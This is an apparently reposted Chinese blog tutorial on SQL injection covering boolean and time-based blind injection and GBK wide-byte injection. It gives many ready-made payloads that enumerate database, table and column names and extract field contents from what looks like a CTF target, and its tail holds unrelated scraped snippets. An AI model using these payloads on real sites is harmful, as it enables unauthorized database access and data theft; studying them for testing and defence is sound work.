- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章SQL注入篇学习之盲注/宽字节注入由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
。
有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注.
时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if() 。
。
布尔很明显就是true和false,也就是说它只会根据信息返回true和false,也就是没有了之前的报错信息.
。
界面返回值只有一种true,无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确.
。
。
?id=1 and length(database())>1
substr() 截取字符串 , 从第一位截取一个 。
?id=1 and substr(database(),1,1)="k"
ord()/ascii() 返回字符的ascii码 。
?id=1 and ord(substr(database(),1,1))=107
limit 0,1 显示第一条 。
substr(截取的内容,截取的位数,截取的个数) 。
substr(database(),1,1) 显示第一位字符 。
时间型:sleep(n) 将程序挂起一段时间,n为n秒 。
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句 。
?id=1" and if(length(database())=8,1,sleep(5))-- +
。
猜数据库的长度;?id=1 and (length(database()))>11#猜测数据库的库名:?id=1 and ascii(substr(database(),1,1))>1#猜表名(示例为查询第一个表名)and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //注意括号问题and substr((select table_name from information_schema.tables where table_schema="kanwolongxia" limit 0,1),1,1)="l" 猜第一个字段名第一个字符:and substr((select column_name from information_schema.columns where table_name="loflag" limit 0,1),1,1)="i" 猜第一个字段名第二个字符:and substr((select column_name from information_schema.columns where table_name="loflag" limit 0,1),2,1)="i" 猜第二个字段名:and substr((select column_name from information_schema.columns where table_name="loflag" limit 1,1),2,1)="l"# 猜字段中的内容:and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122时间盲注猜测数据库的长度:?id=1" and if(length(database())=12,sleep(5),1) -- +猜测数据库的库名:if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+猜测数据库中表的长度:?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +猜测数据库中的表名:?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +猜测表中的字段名的长度:?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="loflag" limit 0,1))=2,sleep(5),111) -- +猜测表中的字段名:?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="loflag" limit 0,1),1,1))=73,sleep(5),111) -- +猜测字段中内容的长度:?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +猜测字段中的内容:?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +
。
先判断长度,再判断内容 。
。
。
。
php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用,$b = addcslashes($_REQUEST[8]);不在配置文件中打开【原因是将安全编码交给了用户自己,避免用户过度依赖造成安全隐患】,或者在php.ini中修改.
。
。
当PHP的传参中有特殊字符就会再前面加转义字符’’,来做一定的过滤 。
。
单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?
POST、GET、COOKIE
),$_SERVER
就在作用域之外。。
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms) 我们就以gbk字符编码为例,拉开帷幕。GBK【双字符编码】全称《汉字内码扩展规范》,gbk是一种多字符编码【多个字符组在一起成为一个字】。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节.
SET NAMES 'gbk'
或是 SET character_set_client =gbk
SET NAMES 'gbk'
或是SET character_set_client =gbk
进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
。
到此这篇关于SQL注入篇学习之盲注/宽字节注入的文章就介绍到这了,更多相关SQL盲注/宽字节注入内容请搜索我以前的文章或继续浏览下面的相关文章希望大家以后多多支持我! 。
原文地址:https://blog.csdn.net/m0_55854679/article/details/122356329 。
最后此篇关于SQL注入篇学习之盲注/宽字节注入的文章就讲到这里了,如果你想了解更多关于SQL注入篇学习之盲注/宽字节注入的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我希望手机上的网页背景在菜单栏出现和消失时不会发生变化。我已将背景设置为位置:固定;底部:0。这使其在 Chrome 浏览器中保持固定,因为底部没有工具栏或其他菜单,并且减少了 iOS 和 Andro
我正在尝试显示数组中的动漫列表。我已经使用“oredrby”过滤器对列表进行了排序。每次添加新行时,我都想自动滚动到列表中最后插入的行。请注意,我不想自动滚动到列表底部。这是 DEMO 演示我的问题。
完全放弃对技术团队的管理,孤身一人闯市场,确实需要一定的勇气。但是光有勇气就像无头的苍蝇,还得有技术、产品、方案和市场生态,当然最终也有运气的成分。技术、产
我需要一种动态的方式来添加备注 在我的 中的哪个单元格中ID 列 A .但是,注释需要使用 B 列和 C 列中的信息。例如: 2020 年 1 月 13 日,安妮 . 我不确定如何检查 中每个值的次数
我正在复制 Question 之前提出的相同问题.我已经尝试了给出的解决方案,但由于 sizetofit 在我使用 Autolayout 时无效,因此无法解决。 预期的显示如下。 最佳答案 编辑 在我
这个问题已经有答案了: What causes javac to issue the "uses unchecked or unsafe operations" warning (12 个回答) 已关
另外:我通过在 VS2013 的属性页中编辑命令参数来重定向标准输入。我正在做一个小项目,它要求我在不使用 ifstream 的情况下读取文件,因为它说:您可以用于此分配的唯一库是 iostream、
我对 IIS 完全陌生。 我对如何配置 IIS 有非常基本的了解。 今天有个需求访问网站全局 通过 WAN(通过世界各地任何 PC 的互联网)我已经部署在我的本地 IIS 中。 网站=> Silver
这个问题已经有答案了: What causes javac to issue the "uses unchecked or unsafe operations" warning (12 个回答) 已关
我正在尝试获取元素相对于浏览器窗口的 X 和 Y 坐标。 我正在开发的系统是由各种框架组成的。我通常会远离框架,但我目前正在开发一款经常使用框架的软件。 我正在构建一个弹出引擎,需要将弹出窗口恰好放置
我在使用 Firebase 分析 (6.3.0) 时收到以下错误: Note: C:\src\flutter\flutter\.pub-cache\hosted\pub.dartlang.org\fi
我是 JAVA 领域的新手,我为我的作业编写了一段代码,当我使用 Netbeans 编译它时,它工作得很好。当我通过 cmd 编译 .java 文件时,出现上述错误。如果它能够识别哪一行产生了不安全的
**注意 - 这与此处发现的与 mysql root 密码重置和连接问题相关的其他问题不同 - 我有我的 root 密码。有东西定期 ping mySQL 并试图使用“root”,这对我来说很奇怪。
我试过使用日志,但它比迭代版本要花费更多的时间来寻找答案。数字是整数。 Using log:- int ans = (log(x)/log(2)); Iterative version:- int t
我是一名优秀的程序员,十分优秀!